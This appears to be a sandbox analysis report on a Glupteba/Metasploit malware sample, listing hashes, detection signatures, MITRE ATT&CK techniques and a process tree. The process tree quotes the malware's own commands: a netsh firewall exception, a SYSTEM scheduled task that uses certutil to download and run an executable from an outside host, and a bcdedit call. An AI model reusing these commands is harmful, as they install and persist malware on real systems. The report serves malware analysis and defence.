Overview

overview

10

Static

static

3

9fc4b95a2f...18.exe

windows7-x64

10

9fc4b95a2f...18.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    16-08-2024 20:12

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    9fc4b95a2f4876a71e57894eac84704d_JaffaCakes118.exe

  • Size

    3.7MB

  • MD5

    9fc4b95a2f4876a71e57894eac84704d

  • SHA1

    3bd4e6695ffe9ef7c3523eadda6c686bd0e17274

  • SHA256

    31d343b9071c0c94cca9bf45c9d0e02e9549675c0264fe3a41bf419c2918203b

  • SHA512

    30819b48f07f0fd570010d906b912df8977259ff57c1c069142f1f5d400040b44773ec96833bd0f85046a2426b4664a64a09b2f0f36b898071c9e061108bc02f

  • SSDEEP

    98304:W4irpjtUdJrziwkwBMLVp8atfDwAQz/cqqO1kNIP/8sm2l:WFtEFOJwaVpJtDwAQz3qAkSPR

Score
10/10
gluptebametasploitbackdoordiscoverydropperevasionloaderpersistenceprivilege_escalationrootkittrojan

Malware Config

Extracted

Family

metasploit

Version

windows/single_exec

Signatures

  • Glupteba

    Glupteba is a modular loader written in Golang with various components.

    loaderdropperglupteba
  • Glupteba payload 20 IoCs
  • MetaSploit

    Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.

    trojanbackdoormetasploit
  • Modifies Windows Firewall 2 TTPs 1 IoCs
    evasion
  • Executes dropped EXE 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
    persistence
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Manipulates WinMonFS driver. 1 IoCs

    Roottkits write to WinMonFS to hide directories/files from being detected.

    rootkitevasion
  • Modifies boot configuration data using bcdedit 1 IoCs
  • Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs

    Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.

  • Drops file in Windows directory 2 IoCs
  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

    persistenceprivilege_escalation
  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies system certificate store 2 TTPs 3 IoCs
    evasionspywaretrojan
  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 9 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Users\Admin\AppData\Local\Temp\9fc4b95a2f4876a71e57894eac84704d_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\9fc4b95a2f4876a71e57894eac84704d_JaffaCakes118.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:2244
    • C:\Users\Admin\AppData\Local\Temp\9fc4b95a2f4876a71e57894eac84704d_JaffaCakes118.exe
      "C:\Users\Admin\AppData\Local\Temp\9fc4b95a2f4876a71e57894eac84704d_JaffaCakes118.exe"
      2⤵
      • Adds Run key to start application
      • Checks for VirtualBox DLLs, possible anti-VM trick
      • Drops file in Windows directory
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:3116
      • C:\Windows\system32\cmd.exe
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3052
        • C:\Windows\system32\netsh.exe
          netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
          4⤵
          • Modifies Windows Firewall
          • Event Triggered Execution: Netsh Helper DLL
          PID:872
      • C:\Windows\rss\csrss.exe
        C:\Windows\rss\csrss.exe ""
        3⤵
        • Executes dropped EXE
        • Manipulates WinMonFS driver.
        • System Location Discovery: System Language Discovery
        • Modifies data under HKEY_USERS
        • Modifies system certificate store
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:4940
        • C:\Windows\SYSTEM32\schtasks.exe
          schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
          4⤵
          • Scheduled Task/Job: Scheduled Task
          PID:1304
        • C:\Windows\SYSTEM32\schtasks.exe
          schtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://fotamene.com/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F
          4⤵
          • Scheduled Task/Job: Scheduled Task
          PID:1292
        • C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
          "C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
          4⤵
          • Executes dropped EXE
          PID:932
        • C:\Windows\system32\bcdedit.exe
          C:\Windows\Sysnative\bcdedit.exe /v
          4⤵
          • Modifies boot configuration data using bcdedit
          PID:3772

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

1
T1053

Scheduled Task

1
T1053.005

Persistence

Boot or Logon Autostart Execution

1
T1547

Registry Run Keys / Startup Folder

1
T1547.001

Create or Modify System Process

1
T1543

Windows Service

1
T1543.003

Event Triggered Execution

1
T1546

Netsh Helper DLL

1
T1546.007

Scheduled Task/Job

1
T1053

Scheduled Task

1
T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

1
T1547

Registry Run Keys / Startup Folder

1
T1547.001

Create or Modify System Process

1
T1543

Windows Service

1
T1543.003

Event Triggered Execution

1
T1546

Netsh Helper DLL

1
T1546.007

Scheduled Task/Job

1
T1053

Scheduled Task

1
T1053.005

Defense Evasion

Impair Defenses

1
T1562

Disable or Modify System Firewall

1
T1562.004

Modify Registry

2
T1112

Subvert Trust Controls

1
T1553

Install Root Certificate

1
T1553.004

Credential Access

Discovery

Query Registry

2
T1012

System Information Discovery

1
T1082

System Location Discovery

1
T1614

System Language Discovery

1
T1614.001

Lateral Movement

Collection

Command and Control

Web Service

1
T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
    Filesize

    1.7MB

    MD5

    13aaafe14eb60d6a718230e82c671d57

    SHA1

    e039dd924d12f264521b8e689426fb7ca95a0a7b

    SHA256

    f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3

    SHA512

    ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3

    Download Submit

  • C:\Windows\rss\csrss.exe
    Filesize

    3.7MB

    MD5

    9fc4b95a2f4876a71e57894eac84704d

    SHA1

    3bd4e6695ffe9ef7c3523eadda6c686bd0e17274

    SHA256

    31d343b9071c0c94cca9bf45c9d0e02e9549675c0264fe3a41bf419c2918203b

    SHA512

    30819b48f07f0fd570010d906b912df8977259ff57c1c069142f1f5d400040b44773ec96833bd0f85046a2426b4664a64a09b2f0f36b898071c9e061108bc02f

    Download Submit

  • memory/2244-1-0x0000000001050000-0x0000000001401000-memory.dmp

    Filesize

    3.7MB

    Download

  • memory/2244-2-0x0000000001410000-0x0000000001C14000-memory.dmp

    Filesize

    8.0MB

    Download

  • memory/2244-3-0x0000000000400000-0x0000000000C1E000-memory.dmp

    Filesize

    8.1MB

    Download

  • memory/2244-7-0x0000000001410000-0x0000000001C14000-memory.dmp

    Filesize

    8.0MB

    Download

  • memory/2244-6-0x0000000000400000-0x0000000000C1E000-memory.dmp

    Filesize

    8.1MB

    Download

  • memory/3116-5-0x0000000000400000-0x0000000000C1E000-memory.dmp

    Filesize

    8.1MB

    Download

  • memory/3116-8-0x0000000000400000-0x0000000000C1E000-memory.dmp

    Filesize

    8.1MB

    Download

  • memory/3116-9-0x0000000000400000-0x0000000000C1E000-memory.dmp

    Filesize

    8.1MB

    Download

  • memory/3116-16-0x0000000000400000-0x0000000000C1E000-memory.dmp

    Filesize

    8.1MB

    Download

  • memory/4940-21-0x0000000000400000-0x0000000000C1E000-memory.dmp

    Filesize

    8.1MB

    Download

  • memory/4940-27-0x0000000000400000-0x0000000000C1E000-memory.dmp

    Filesize

    8.1MB

    Download

  • memory/4940-22-0x0000000000400000-0x0000000000C1E000-memory.dmp

    Filesize

    8.1MB

    Download

  • memory/4940-23-0x0000000000400000-0x0000000000C1E000-memory.dmp

    Filesize

    8.1MB

    Download

  • memory/4940-24-0x0000000000400000-0x0000000000C1E000-memory.dmp

    Filesize

    8.1MB

    Download

  • memory/4940-25-0x0000000000400000-0x0000000000C1E000-memory.dmp

    Filesize

    8.1MB

    Download

  • memory/4940-26-0x0000000000400000-0x0000000000C1E000-memory.dmp

    Filesize

    8.1MB

    Download

  • memory/4940-20-0x0000000000400000-0x0000000000C1E000-memory.dmp

    Filesize

    8.1MB

    Download

  • memory/4940-28-0x0000000000400000-0x0000000000C1E000-memory.dmp

    Filesize

    8.1MB

    Download

  • memory/4940-29-0x0000000000400000-0x0000000000C1E000-memory.dmp

    Filesize

    8.1MB

    Download

  • memory/4940-30-0x0000000000400000-0x0000000000C1E000-memory.dmp

    Filesize

    8.1MB

    Download

  • memory/4940-31-0x0000000000400000-0x0000000000C1E000-memory.dmp

    Filesize

    8.1MB

    Download

  • memory/4940-32-0x0000000000400000-0x0000000000C1E000-memory.dmp

    Filesize

    8.1MB

    Download

  • memory/4940-33-0x0000000000400000-0x0000000000C1E000-memory.dmp

    Filesize

    8.1MB

    Download